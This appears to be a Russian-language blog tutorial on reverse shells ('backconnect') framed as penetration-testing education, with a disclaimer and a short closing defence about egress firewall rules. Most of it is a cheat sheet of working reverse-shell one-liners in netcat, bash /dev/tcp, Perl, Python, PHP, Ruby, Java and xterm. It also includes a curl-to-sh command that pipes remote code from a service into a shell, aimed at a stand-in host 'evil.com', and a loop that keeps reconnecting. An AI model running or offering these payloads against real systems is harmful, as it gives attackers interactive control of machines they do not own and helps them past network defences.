Reverse-shell или Бэкконнект

Привет друзья, сегодня я Вам поведаю о такой простой но ужасной вещи, как Реверс шелл или в простанародье Бэкконнект.

Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером, обратная вышеописанной. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.

Reverse-shell или Бэкконнект

Перед началом, хочу обратить Ваше внимание на наш ДисклеймерДанная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

Если вам повезло найти уязвимость при выполнении теста на проникновение, довольно скоро вам понадобится интерактивная оболочка.

Если невозможно добавить новую учетную запись в файл SSH / .rhosts и просто войти в систему, ваш следующий шаг, скорее всего, заключается в отбрасывании обратной оболочки или привязке оболочки к порту TCP.

Ниже примеры 3 легко запоминающихся шага, которые должны работать на большинстве Unix-подобных систем. Обнаруживает доступное программное обеспечение на цели и запускает соответствующую полезную нагрузку.

Пользуйтесь или виртуальной машиной или сервисом https://shell.now.sh, итак Погали

Netcat

1. Откройте прослушивание портов с помощью netcat

nc -l 1337

2. На целевой машине перейдите по ссылке и тем самым перенаправьте вывод https://shell.now.sh/yourip:port в sh

curl https://shell.now.sh/192.168.0.69:1337 | sh

Поскольку это обратное соединение, оно может пробивать брандмауэры и подключаться к Интернету.

Вы можете прослушивать соединения на своем удаленном сервере которвый к примеру (evil.com) лежит на хостинге с открытым портом и получать обратную оболочку из защищенной сети.

curl https://shell.now.sh/evil.com:1337 | sh

По умолчанию при выходе из оболочки вы теряете соединение. Вы можете сделать это случайно или по запаре неверной командой. Но Вы можете легко создать оболочку, которая попытается восстановить соединение, поместив ее в цикл while.

while true; do curl https://shell.now.sh/yourip:1337 | sh; done

3. Вернитесь к своему терминалу и удостоверьтесь что мы начали слушать (в слэнге i'm in).

Вот пример:

Reverse-shell или Бэкконнект

На мой взгляд, это самый классический пример бэкконнекта, но в современных реалиях, netcat может быть просто не установлен на сервере.

Если у вас установлена ​​неправильная версия netcat которая не поддерживает некоторые параметры, Джефф Прайс указывает здесь, что вы все равно сможете вернуть обратно свою оболочку, например так:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Расмотрим и другие варианты исполнения, подробно разъяснять не вижу смысла, первого примера думаю должно быть достаточно чтобы понять что она делает.

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

А этот пример, на мой взгляд самый опасный т.к. по сути кроме интерпретатора bash(sh,ksh,zsh,etc…) не требует никакого дополнительного софта, а нужен только доступ к подсистеме dev

PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Также как и Python, почти во всех современных дистрибутивах Linux присутствует в системе Perl

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

В современных дистрибутивах Python присутствует почти всегда, и стандартных библиотек вполне хватит, чтобы совершить бэкконнект

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Этот код предполагает, что TCP-соединение использует файловый дескриптор 3. Если не работает, попробуйте 4, 5, 6 ...

Если вы хотите, чтобы файл .php загружался, посмотрите более функциональную и надежную оболочку php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Лично не проверял из-за нелюбви к Яве

xterm

Одной из самых простых форм обратной оболочки является сеанс xterm. Следующая команда должна быть запущена на сервере. Он попытается подключиться к вам (10.0.0.1) через TCP-порт 6001

xterm -display 10.0.0.1:1

Чтобы перехватить входящий xterm, запустите X-сервер (: 1 - который прослушивает TCP-порт 6001):

Xnest :1

Вам необходимо авторизовать цель для подключения к вам (команда также запускается на вашем хосте):

xhost +targetip

Windows

Ну и не забываем про винду, там можно применить дикое множество ухищрений от скриптинга на cmd / powershell до эксалуатации Bad-USB и Rubber Ducky

Reverse-shell или Бэкконнект

Как с этим бороться?

Контролируйте все исходящие соединения от сервера средствами встроенного фаервола, оставьте доступ только к необходимым IP-адресам и портам, оставльное необходимо блокировать - это самое простое, проверенное, и эффективное решение.

! Пожалуйста, еще раз призываем Вас к соблюдению законности данных дейтсвий. Если Вы осталоб и не читаете дисклаймер и Вам "пофиг" - просим Вас не делайте это на рабочих местах, ведь создавая брешь, Вы таким образом открываете дверь для злоумышленников, которые воспользуются очень быстро!